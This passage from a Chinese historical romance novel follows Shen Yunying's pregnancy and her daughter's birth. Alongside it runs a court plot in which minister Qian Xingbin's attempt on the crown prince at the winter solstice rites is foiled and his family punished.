听得王大夫心头一跳,难道沈云楹很严重?他余光看了银屏一眼,这丫头来请他,只说提前诊个平安脉,里头的燕培风却很着急。 王大夫放下医药箱,忙给沈云楹诊脉。沈云楹靠着绸面椅搭,燕培风手掌拦住她的肩,两人都提着心等王大夫的诊断。 “恭喜夫人,有孕一个多月了。”王大夫明白提前请平安脉的缘由,脸上露出欣慰的笑,“初一的时候日子尚短,老夫又不是专攻妇产症候的,没能及时诊出来,惭愧惭愧。” 沈云楹忙摆手,“王大夫莫要如此,一个月能诊出来已经医术高超了。”就是太医院的太医,也不是人人都能分辨出来。 王大夫谦虚摇头,看到餐桌上的糕点,叮嘱道:“夫人,您本身有些虚寒,孕期女子脾胃负担重,不可多食煎炸之物。这炸玉兰片糕,玉兰花瓣所制的无碍,只是这碟乃是笋干腌制,酸笋性寒,易生热毒。” “如今月份浅,行走坐卧,饮食方面都需多注意。” 燕培风和沈云楹不约而同点头,表示受教。 “这样吧,我交代给银筝银屏两位姑娘,”王大夫见这对小夫妻不排斥听教,高兴地要把所有禁忌告诉沈云楹的贴身丫鬟。 “有劳王大夫,您只管吩咐,”沈云楹回头去看银屏和银筝,两人都笑得合不拢嘴,一个劲地点头,她们一定会记得牢牢的。 燕培风则问:“红叶呢?别让她待在慈幼院了,回来你这儿当差吧。”这样他能更放心。 盐政事毕,红叶果然等到皇上的旨意,叫她脱离暗卫,留在燕家,护卫燕培风和沈云楹的安全即可。 红叶在沈云楹跟前不用做什么活儿,盐税带来的危险被解决后,红叶就空闲下来。沈云楹就提议红叶跟着王大夫去慈幼院或者范广侑去私塾,教授小孩儿习武强身健体。 红叶抱着玩玩的心态去,谁知竟然真喜欢上这个活。等回到京城,又跟随王大夫去了京城大大小小几个慈幼院。 沈云楹颔首,“听你的。等今晚红叶回来,就跟她说,明日起暂时别出去了。” 银屏和银筝跟着王大夫出去,屋内只有沈云楹与燕培风两人。 沈云楹想起身站站,可肩膀上的手掌力道跟着加大,压着起不来。沈云楹奇怪地看一眼燕培风,“我要起来。” 燕培风却恍若未闻,直愣愣地道:“你、你别乱动。” “要把这个好消息告知岳母,祖父祖母,还要进宫,告诉皇上皇后。省得他们催你,我说了几次都不听,现在有了消息就能闭上嘴了。” “这里,竟然有我们的孩子了。你累不累?”燕培风的声音轻柔如风,在沈云楹腹部摸一摸,“看书耗神,就算是话本游记也要少看,等我回来念给你听,我若是没空,就叫你那两个丫鬟念。” “三月底天还凉,你的手不够暖。”这回是蹙着眉头说话。 “要不你现在就去床上歇着?” 沈云楹听着燕培风的碎碎念,暗想外甥像舅,不是没有道理,这时候的燕培风就很像皇上絮叨的时候。 燕培风唇角飞扬,忽而又顿住,想想昨晚两人曾鸳鸯戏水,脸上就带出几分担忧,低声道:“我得去问问王大夫,你等我回来。” 沈云楹慵懒地往后一靠,笑靥如花。 燕家高高兴兴的时候,宁王府正吵得热闹。 钱侧妃哭得梨花带雨,手里还抱着自己三岁多的儿子李沐然,丝毫不减柔弱的气质,“妾身不敢妄想,可是咱们的儿子自小聪慧,你难道不想给他最好的吗?王爷也知道,王妃母子从来看不上我们母子三个。” 宁王心烦意乱,听到这里,暗暗回道王妃和大儿子是懒得理会你们。唉,今年封王之后,王妃就跟他说,李沐廷今年七岁,到上折子请封世子的年纪了,加上李沐廷身子骨好,宁王想着,父皇和母后疼爱李沐廷,嫡长子又名正言顺,请封就请吧。 他喜爱幼子幼女,对嫡长子还是倚重的。 谁知,钱侧妃得知消息后,抱着儿子女儿闹起来。 “我是亲王,将来我们的孩子怎么也能是个郡王,又不用指望着兄长过日子。一辈子享用荣华富贵,这不挺好的吗?”宁王头疼,就算以后太子大哥继位,也不会亏待他儿子啊。 钱侧妃一噎,眼泪差点憋回去。 “沐廷才七岁,别说亲王爵位,就是侯府、伯府,多少人都等儿子长成到成婚年纪才上折子。王妃这么着急,谁知道心里这么想的?”钱侧妃见宁王没有那么坚决,再接再厉。 这例子很实在,大多人家都在十五岁左右请封。七岁只是达到年龄,这个年纪的孩子一般都养住了,不容易夭折。 宁王叹口气,他大概能猜到钱侧妃的打算,三年前江南水匪袭击的事,金陵知府昌松平可是钱兴斌的门生。有嫌疑,但没证据。 “我实话跟你说了吧,廷儿深受父皇和母后喜爱,宁王世子的爵位落不到别人手里。”宁王认真道,他宠女人又不是没脑子。 李沐廷可是帝后的长孙,宠爱多年,虽然东宫嫡子的出生分薄了他们的注意力,但是李沐廷的地位绝对是宁王府所有孩子加起来都比不上的。 钱侧妃身体一僵,宁王就是明说,将来宁王府都是李沐廷的,没有钱侧妃母子的份。她满眼通红地望了宁王一眼,就搂住儿子,低低地抽泣。 宁王一甩袖子,转身大步离开。 宁王没有立即上折子,他想等钱侧妃想通这层,宁王爵位是李沐廷的,将来自有郡王的位置给李沐然。如此,宁王府也能太太平平的过日子。 消息传到正院,顾□□满意一笑,宁王没有冲昏头脑就行了。以后钱侧妃也能少闹点事。 然而,宁王的话给钱侧妃重重一击,她一直以为自己深受宁王宠爱,就比正院差了一个名分。但是将来自己的儿子要是能当世子,自然就有了名分。谁知,宁王竟然没有为李沐然打算的意思。 那么真有一日,宁王更进一步,他心里会不会也将李沐廷视为继承人? 念及此,钱侧妃匆匆传信去钱府。 月临窗前,钱府书房一片寂静。钱兴斌面色低沉地压下信纸,许柯文和另外两个幕僚面面相觑,最后还是许柯文有经验,在钱兴斌的默许下拿过信件,三人共看。 “这宁王这么快就要封世子?”最年轻的幕僚没沉住气第一个开口,他还以为宁王最看重钱侧妃与她的一双儿女,如今看来,不是那么回事啊。 许柯文还能稳住,开口道:“李沐廷才七岁,宁王实在操之过急。礼部未必会愿意,就是皇上和皇后那儿恐怕还是愿意的。”宁王说的不无道理,皇上皇后更疼长孙。 “大人,若是世子位定,于我们是大大的不利。”许柯文提出建议,“不如由礼部和御史台出力?” 祖宗规矩朝廷礼制这方面,还得这两处地方出面。 头发花白的幕僚捋着胡须,神色阴鸷,声音沙哑道:“我们四海帮倾力支持钱大人,结果宁王还没跟你在一条船上,”他嗤笑两声,“钱大人,莫为他人作嫁衣裳。” 钱兴斌面若寒霜,话虽然不好听,但此时最关键的的确是宁王并无争位之心,而且还属意李沐廷当继承人。 他心里叹气,钱侧妃貌美却无脑,好几年了,还不能鼓动宁王动心思。 “周老先生不必担心。宁王思虑少,行事冲动,不会碍事。倒是你们,躲好了,别叫燕培风发现你们的尾巴。”钱兴斌警告道,四海帮的智囊周老先生带着最后一丝力量上京投靠,他思来想去还是接纳了,总有用上他们的时候。 周老先生这帮人与太子、燕培风仇深似海。他留下不亏。 —— 殿试如期到来,沈础筠和沈础鹤踌躇满志进宫。四月初十,传胪大典后,沈础筠和沈础鹤名次不变,成功考取进士。当日,新科进士跨马游街,京城热闹非凡。 可惜沈云楹养胎,不便出门,只送了礼去沈家。 沈础筠与沈础鹤通过庶吉士考试,进入翰林院。只等一个月的假期过后便能去当差。喜气更上一层,眼看沈家有了起兴之兆,偏偏就迎来重击。 五月初三,沈晕年在熟睡中溘然长辞。 沈家所有男丁皆要丁忧,上折子交接公事。沈大夫人吩咐满府挂白,消息通传交好的人家,筹办丧事,搭长棚备祭礼。 沈晕年的丧事隆重,皇上赐下谥号文端,连着几条街全是路祭。 沈云楹伤心难过皆有,但不至于悲痛欲绝。沈晕年很少管孙女,就是出嫁后,她才和这位祖父亲近些。但是中间又隔了外任的三年,没有时间培养祖孙情。 沈云楹恭恭敬敬上了三炷香,便和沈云蔓一起到后院歇息。如今沈云蔓腹部更显眼,快七个月的身子,处处都要留意。若不是祖父去世,沈云蔓轻易不会出门。 居丧之家,不闻喜乐。沈云楹没有宣扬自己有孕的事,但沈家该知道的人都知道,她又是出嫁女,就没在灵堂久待。 沈云蔓看了看沈云楹,心里更羡慕了。这个三妹妹,连子嗣问题都不再是困扰。谁能想到,她们三姐妹,竟然是沈云楹日子最舒坦。 想起刚刚在咏归院母亲的话,沈云蔓心里也有一丝慰藉。沈础筠是嫡长孙、承重孙,和叔伯辈一样要守孝三年。而沈础鹤只需守孝一年。 所以沈家所有男丁里,最先出仕的竟然是二房的儿子沈础鹤。只要大哥好好表现。比堂兄出色,家族资源未必比沈础筠差。 这么好的机会,若不是沈础鹤跟着堂兄去江南书院,恐怕只能空叹。 沈家是一家人不错,但内里几房人,谁不想出头呢? 再者,一年后,说不定还得靠燕培风出力呢。脑子里思绪纷杂,沈云蔓对沈云楹的态度自然好上许多。 从沈家回来,沈云楹便闭门不出,身为孙女,她也要守孝。因为有孕,沈云楹没有严格遵循不食荤腥的规矩。 燕培风心疼沈云楹,不再从外面酒楼买招牌菜,私下命府里的厨娘换着花样做,不能亏待沈云楹。 他又亲手为沈晕年抄《阿弥陀经》和《金刚经》,每夜他都抽空半个时辰抄写。 沈云楹来书房时候正好抄完一卷,看到落款孙婿燕培风盥手敬书九个字,沈云楹为他斟茶,“时间足够,你不用赶工。白日我也跟着写一点。” 她的月份不大,抄经无碍。 燕培风却摇头拒绝,“要在七七四十九那日送去灵城寺,又要写四十九遍,刑部那边正整理秋决的名单,我只有这会儿才有空。” “你别动手,”燕培风煞有介事,“我们的孩子,可不能用佛经启蒙。” 沈云楹失笑,想着燕培风喜欢她磨墨,便挽起袖子慢慢研磨,“这算什么启蒙?你强词夺理。” “子在腹中,随母听闻,故目不视恶色,耳不听淫声。”自从沈云楹有孕后,燕培风没少看这方面的书籍,“《大戴礼记》有载,古者胎教,王后腹之七月,而就寝室。” “你写就不好停,若是养出个信佛的女儿可怎么办?还是琴棋书画,排个时间出来,轮流熏陶。不论是女儿还是儿子,都能用上。” 沈云楹目瞪口呆,她都不知燕培风有了这么多规划。 又不用她出力,只要坐着或者躺着,由燕培风发挥。沈云楹点点头,没强硬要抄经,在一旁磨墨,或是叠些佛纸,也算尽一份心意。 盛夏时节,闷热难当,沈云楹不好用冰盆,就多在水榭里待着,感受凉凉的湖风,还携带着荷花的香气,格外好闻。 这日,沈云楹照例在水榭里听银筝声情并茂地念话本,就有丫鬟来报,温大少夫人来了。 沈云楹愣了一下,才想起温大少夫人说的是沈云芝,“去请进来。” 沈云芝一身藕荷色的襦裙,袅袅婷婷地走过来,笑道:“三妹妹,你如今身子可好?” 沈云楹笑着颔首,“我一切都好,大姐姐怎么来了?” “你这一胎时机不巧,娘家人不便往来,我便来瞧瞧你,回去跟三婶各有话说。”沈云芝柔声道,如今沈家全家守孝,不宜出入。沈云楹有孕,按理娘家人应当时常来探望,不能让燕家小瞧沈家女。 沈云芝作为唯一能走动的娘家人,自然要来看看妹妹。 “二妹妹的预产期就在眼前,我昨儿去永安侯府看了,她那儿有经验,生产一应事物都备好了。”沈云芝拉着沈云楹坐下。 沈云楹就道:“大姐姐给小外甥备了什么礼?” “细棉布的虎头帽虎头鞋,还有两套小衣裳,平安佩,”沈云芝反问沈云楹,“是不是重了?” 沈云楹摇摇头,“我让人打了一套长命锁。” 沈云芝虽没有生过孩子,但有照顾孩子的经验,便给沈云楹说了不少需要注意的事项,沈云楹听得认真。 聊天时候免不了要说些京城各家宅邸的事。 “最近宁王府近来事多,你与宁王妃交好,但小心别掺和进去。” 沈云楹立即问道:“难道是为了请封世子的事?” 她刚诊出有孕时,顾□□过来燕家探望,感谢燕培风推荐先生,说非常适合李沐廷。又说宁王答应请封世子。沈云楹还提前恭喜顾□□呢。这么久了还没消息,应该是钱侧妃阻挠? 沈云楹记得沈云芝的丈夫温旭晏在礼部任员外郎,可能会看到请封折子。 沈云芝却道:“不是。请封世子的事,宁王府已经热闹过好几回了。”她压低声音,“礼部和工部打交道的地方多,上个月工部突然采买金丝楠木,要打造亲王车架,一造就是四辆,用的还是就藩的规制。当今膝下正有四个王爷。” 沈云楹愕然,“四位王爷要去就藩?”上一轮的皇子亲王都在京城呢,皇上怎么要打发自己儿子走? “宁王可是皇后亲子,也打发走?” 沈云芝迟疑道:“皇上没准话,不过礼部和工部这已经不是秘密。总之,要是宁王妃来找你求情留京,你千万别答应。” 这才是沈云芝透露这件事的重点。沈家蛰伏守孝,她们三姐妹当互助,等待沈家复起。 沈云楹满心疑惑,不过她知道自己的分量,说是来找她求情,不如说是找燕培风出面,“妹妹知道。” 见沈云楹没有排斥,沈云芝劝沈云楹安心养胎,才回温家。 等人一走,沈云楹忙回铮然居,等待燕培风回府,亲王就藩这件事他肯定知道,怎么没和她说起过? 燕培风回来就笑道:“没影儿的事。你不用管,皇上要收拾儿子呢。” 沈云楹半知半解,不过知道火烧不到自家人身上,便不究根到底。 “过来,”燕培风牵着沈云楹坐到软榻上,自己转身走去吕璇琴前,“今儿该听琴。” 一曲《鸥鹭忘机》,空灵轻柔,像露珠滚过晨间的花瓣,清透而轻盈,随着旋律渐起,跟上春风的尾巴拂过绿树,沙沙回响低吟婉转,闻者随之心静。 沈云楹阖目倾听,忽然腹中鼓起一块,燕培风捕捉到孩子的轻动,笑道:“看来我们的乖女儿性格随了我夫人。” 沈云楹睁眼,嗔道:“像我不好?” “当然好,非常好,”燕培风用温热的手掌安抚伸展手脚的女儿,放软嗓音,“动作小些,别弄疼你娘亲。” 孩子的胎动渐渐停了,沈云楹笑道:“这孩子要么不动,要么就要闹腾好一会儿。真累人。” 燕培风让沈云楹继续点曲子,女儿有曲子听,妻子自然也要有。 沈云楹才不客气,“我要听《越人歌》。” 燕培风纵容一笑,眼底漾起温柔的涟漪,“好。” 琴声泠泠,心悦君兮的琴意流淌出来,绕梁三周,久久不去。 胎教工作从夏入冬,燕培风一日不曾懈怠,沈云楹反而在无意中学会了不少诗词歌赋。 沈云楹这一胎怀得非常安静,望着外面飘着细细的雪花,不禁感叹:“难怪都说女儿是贴心的小棉袄,懂得体贴母亲。” “是呢!”银屏笑道,“谁不说您怀像好,姑娘体贴您。” 银筝跟着点头,“奴婢记得,二姑娘有孕两次,每次都孕吐得厉害。” 虽然不舒服的程度尚能接受,可是被迫待在家里和主动待在家里,总是不一样的,沈云楹掰着手指头算,还有七天就是冬至,“等过了冬至,离临盆就不远了。” “冬至后,就叫我娘来燕家小住。” 沈云楹算盘打得好,女儿生产坐月子,当母亲的来照顾天经地义。 “诶,奴婢知道,良嬷嬷那边早传话来,三夫人一直挂心呢,冬至第二日就来。”银屏想让沈云楹一直开怀,保持好心情。 银筝兴致勃勃道:“外头都在说今年冬至,皇上下令去庆陵祭天祭祖,主祭人还是太子呢。” 燕培风与太子交好,太子地位越是稳固,对她们越好。 沈云楹听了一耳朵,没放在心上。照常去后院跟燕祖母说话聊天,沈云楹到孕后期,六个月的时候,燕家祖父母放心不下,从范州来到京城,想帮着照看孙媳妇。沈云楹便把每日散步的地方换成走路去陪燕祖母。 谁知等到冬至祭天当日,沈云楹正陪着燕祖父和祖母吃花生芝麻饺子,暖融融的当归生姜羊肉汤还冒着热气,沈云楹盼着吃这一口呢,银筝忽然冲进来,她看着沈云楹鼓起的腹部,缓了一口气道:“夫人,太子领着文武百官祭天,在行宫歇息的时候,有刺客闯入。” 沈云楹一怔,她立即想到燕培风陪在太子身边,“培风呢?有没有人出事?” 银筝心惊地摇头,“不知道,有刺客的消息传遍京城了。” 沈云楹着急起身,燕祖母忙过来扶,急切道:“云楹,你先别急。培风自己就会武,太子身边侍卫众多,不会有事的。现在你才是最要紧的。” 沈云楹拉着燕祖母的手,慢慢镇定下来,燕培风出门前还说一定会回来陪她生产。他不会食言。 “我出去打听,你们两个女眷在家里好好待着。”燕祖父决定出去,沈云楹重要,腹中的孩子重要,燕培风这个大孙子也很重要啊。 燕祖父实在放心不下。 燕祖母知道老头子的心思,摆摆手让人快去,自己留下来陪沈云楹。 过了最初的惊慌,到底在杭州历练出来,沈云楹还要顾念肚子的孩子,她喝口热汤缓气。脑子里思索,太子出事,谁最有利? 太子会出事吗?处理盐政的时候,皇上特意分了一拨暗卫给他。厉害程度参考红叶。燕培风说过,太子私下培养了势力。 太子还带着独子李沐渊去祭祖,肯定很重视安危,人手只多不少。 想着想着,沈云楹过快的心跳逐渐平和,燕培风一向谨慎,她在心里说服自己,燕培风不会有事。 直到天黑宵禁,燕伯才匆匆赶回,“老夫人,夫人,城门开了,是太子领着文武百官回京。老太爷去城门口接人,命老奴回来报信。” 星夜开城门,沈云楹脑海冒出这五个字,心里就是一慌,她忽然想起燕培风的父亲就是救驾病亡。 这时候脑子就是不受控制,沈云楹明明不想朝这个方向想,但就是忍不住。 沈云楹着急地朝院门走,她想第一时间看到燕培风。 燕培风也是一样的心情,他实在没有料到钱兴斌这次下血本,竟敢勾结西北屯兵的驻军,又联合四海帮的残余势力,一起在庆陵大开杀戒。 燕培风骑着黄风驹,一路疾行,为了早一步回府,他直接放弃与太子共进城门,去宫里汇报表功劳的机会。 燕培风依然穿着紫色孔雀纹官服,只是洁白的孔雀翎扇沾了些许红色印记。 “燕培风!”沈云楹的呼唤焦急又庆幸。 “云楹,我回来了。”燕培风疾步回到铮然居,他一路都在担心沈云楹,此时见着她好好的站在自己面前,暗暗松一口气。 然而下一秒,沈云楹定在原地,她觉得肚子一抽一抽的疼,似乎像是过来人说的,要生了? 沈云楹的异样被燕培风看在眼里,他忙上前揽住她的腰,轻轻地问:“怎么了?”视线都不敢离开沈云楹的脸。 沈云楹自己也有点懵,王大夫说产期大概在十二月初,如今才冬至,十一月十五啊。还差半个月呢。她神色惊慌不定,惹得燕培风的心也跟着七上八下。 “你怪我没提前给你说祭天的事?”燕培风气短,声音都不敢放大。 沈云楹皱眉,冷下脸,现在感觉肚子又没那么疼了,“你早知道?” 燕培风吸口气,“只知道一点点,皇上和太子请君入瓮,我站着敲敲边鼓。”这事,涉及皇上、太子、还有李沐渊的安危,他真的不能提前泄露丝毫。 沈云楹想想自己这一天的担惊受怕,燕家祖父母的焦灼等待,脸颊泛红,气得要推开燕培风。这个丈夫,今儿眼不见心不烦。 沈云楹手上一用力,发觉肚子又在抽疼,这下不敢大意,猜测道:“我可能要生了,去隔壁叫王大夫来。” 今日特殊,王大夫就留在前院最近的院子,以防不时之需。 燕培风心慌得厉害,一把抱着沈云楹去东厢房,这里早就收拾出来当产房。小心翼翼地把人放在床上,握着沈云楹的手,不知所措地站在床边,满眼都是沈云楹,根本不敢离开。 好在银屏银筝这时候靠谱,王大夫进来一把脉,“无碍,夫人身体养得好,孕期也照顾得当。今儿提前生产,也是足月的。” 沈云楹和燕培风齐齐松口气。 接着稳婆到了,燕培风被赶出去,燕祖母风风火火赶来,祖孙两个在屋外等着,院门口还有燕祖父派人盯着的丫鬟,一有消息就去告知他。 屋内沈云楹听从稳婆的指示,用力放松再用力放松,大冷天里硬生生热出一身汗,她还要保存力气,不能喊出声。 燕培风心急如焚,来回踱步,留神听着里头的动静。燕祖母心里也着急,一半劝慰孙子一半说服自己,“有王大夫在,没事的。” “女子头胎,通常生的时间长,四五个时辰都是有的。”燕祖母紧张地握紧双手。 听到四五个时辰,燕培风差点眼前一黑,他双目牢牢盯着产房,心口仿佛窝着一团火,恨不得马上进去。眼看燕培风就要冲进去,屋内突然传出一声嘹亮的哭声。 不一会儿,稳婆欢欢喜喜地抱着一个襁褓出来,“恭喜老夫人,恭喜燕大人,夫人生了一个白白胖胖的千金!” “夫人呢?”隔着厚厚的门扉,燕培风看不清里头的情景。 稳婆一愣,立刻笑回:“夫人有些力竭,正在喝参须乌鸡汤。” 燕培风这才进去产房,看着爱洁净的沈云楹满身是汗的靠在床头,一口一口缓缓的喝汤,眼眶骤然通红,一时说不话俩,等沈云楹喝完一碗,才哑声问:“疼不疼?” 沈云楹过了最疼的时候,只觉浑身轻松,刚刚稳婆说她生得很顺利,才一个多时辰就结束,没受多少罪。可是沈云楹觉得已经很受罪了! 沈云楹知道燕培风进来了,但是她没力气只想先吃东西,等她抬头,就看到燕培风满脸心疼的模样,再听他问话,自然地点头。 “很疼。这辈子都没这么疼过。”沈云楹忍不住冲着燕培风撒娇。 燕培风伸手接过托盘上的小米粥,仔细喂给沈云楹,半晌才说:“以后不会让你受这份苦。” 没留意他话中意,沈云楹吃饱喝足,再睡前她想看看孩子,问燕培风:“我的女儿呢?她是不是皱巴巴的?” 燕培风起身出去,很快又回来,抱给沈云楹看,“我们的女儿,”他仔细端详一番,“集齐了父母的容貌。” 沈云楹没看出来,不过自己女儿总是最好的,她抬手在闺女脸上摸一摸,软软嫩嫩的,非常舒服。 燕培风抱孩子的姿势很熟练,他早就学好了,婴儿葡萄似的眼睛一眨一眨,几乎跟沈云楹同时入睡。燕培风只能先抱闺女出去睡。 而沈云楹入睡前还在想,她是不是在生气来着?生孩子太累,她眼皮子睁不开。明日再跟燕培风生气。 接下来的坐月子,沈云楹感受到燕培风的赔罪。第二日一醒来,沈云楹就看到蒋文笙坐在她床边,一问才知道是燕培风去沈家请来的,住到孩子满月。 沈云楹欢喜非常,对于生孩子,她跟蒋文笙有说不完的话。尤其当了母亲,沈云楹感觉自己更加爱自己的母亲了。 期间,燕培风亲手煲鲫鱼汤,又亲力亲为端汤喂药,惹得蒋文笙频频望向沈云楹。沈云楹心里羞窘不已。 妻子坐月子,丈夫一般都会避开。不过燕家燕培风主意大,这次又是燕培风理亏,燕家祖父母不管。燕培风亲自伺候沈云楹坐月子的事就这么继续下去。 还是蒋文笙劝沈云楹适可而止,燕家祖父母看着呢,不能过分了。 最后,燕培风还让沈云楹自己给闺女取名字,大名小名都由沈云楹做主。 沈云楹知道燕培风用心准备了几张纸的名字,心里的火气慢慢就没了。燕培风太会讨好人了,沈云楹没忍住诱惑原谅了他。 熬了快一个月,终于等到沈云楹主动投怀送抱,燕培风喜得抱住沈云楹不放。 沈云楹微微挣扎,没成功。算了,抱就抱吧。 她在坐月子,外头的消息一点不缺,蒋文笙和银筝都及时跟她分享冬至那日的事后处置。沈云楹知道钱侧妃被废,钱家全家下狱,问斩的问斩,流放的流放,判决很重。 但是个中内情沈云楹还不知道呢。 “还记得金丝楠木的亲王车架吗?”燕培风给她提醒,“我调查一桩命案的时候发现四海帮的记号,追寻踪迹的时候,发现他们与钱兴斌有所勾连。” “同时,东宫拔出来的钉子,正好有钱家的眼线。太子的人发现一个消息,钱兴斌竟然想对太子下手。” “皇上和太子一合计,干脆引蛇出洞。先是亲王就藩,再是太子祭祖,”看到沈云楹惊讶的眼神,燕培风道:“前者是烟雾弹,后者是顺便露个机会而已,冬至祭天祭祖是早定好的。” “钱兴斌会选择刺杀是第一个意外,四海帮的人剩下残兵败将,我们做了万全准备,以为很容易镇压。可是钱兴斌与胡茂清,联合西北屯边的守将,是第二个意外。这群人训练有素,战力不输宫中侍卫。” 若不是有真正官兵的参与,冬至的事根本不会拖那么长时间,还让京城起了大半日的流言,全城惶惶不安。 沈云楹听完全程,心里却担心顾□□,“宁王妃没事吧?”这件事牵扯到钱侧妃,那么宁王呢? 燕培风嗤笑一声,“你还想问宁王吧?” 难得听燕培风用幸灾乐祸的声音道:“他被宁王妃打断了腿,在庄子上养病,压根没出现在庆陵。” “哈?”沈云楹震惊,很快又冷静了,顾□□就是这般的将门虎女。 原来冬至那日动手,钱侧妃早收到消息,她早早打算好冬至要回娘家看看,还要带着一双儿女回去。 顾□□不在意,随口就应了。但是李沐廷却过来说,李沐然炫耀他要去找李沐渊玩。以前只有李沐廷去东宫玩,李沐然很羡慕。这次虽然不是去东宫,但是一样能见到太子和李沐渊。 李沐然就忍不住跟大哥炫耀。 顾□□立即皱眉,她隐隐发觉事有蹊跷,当机立断抓了钱侧妃的心腹拷问,知道她们不是去钱家,而是去庆陵。 又立刻派人拦住宁王。宁王不肯,顾□□干脆釜底抽薪,打断宁王的腿,去庄子上休养,还让人里里外外被围住。宁王生闷气,钱侧妃被摁在王府,不得进出。 幸亏宁王府没掺和进去,否则,一个谋逆罪逃不掉。钱侧妃就不是被废,而是突发恶疾了。 了解事情始末,沈云楹不禁赞道:“宁王妃,聪慧果决。”怎么就嫁给宁王了呢。 燕培风笑道:“皇上皇后也是这么说,宁王接下来的日子是翻不了身了。” 沈云楹跟着笑出声,这次风波平息之后,京城应该能平静很长时间。她想明白皇上为何让太子主祭,是想让权力平和过渡。皇上和她祖父沈晕年是同一辈人,年纪上去,处理政事尤其耗费心神。 “想什么呢?”燕培风的嗓音就响在耳畔,低沉醇厚,他趁机在沈云楹耳垂亲了一下,不满她失神。 沈云楹笑回:“在想该给闺女起什么名字。就要办满月宴了。”她抬眸问道:“小名就叫,宁宁怎么样?” “宁静从容,一生安稳。”燕培风仔细品味,是为人父母最简单朴实的期望,“很好。” “大名呢?”燕培风追问。 沈云楹仰头望天,认真道:“我还在想呢,我们闺女什么时候上族谱?三岁还是五岁,我还有大把时间,慢慢想!” 沈云楹就是这么躺平,她琢磨了整个孕期,如今又马上出月子,还是没想好闺女的大名。 燕培风唇边漾起宠溺的笑,“不错,我们还有悠悠岁月一起慢慢想。”《 》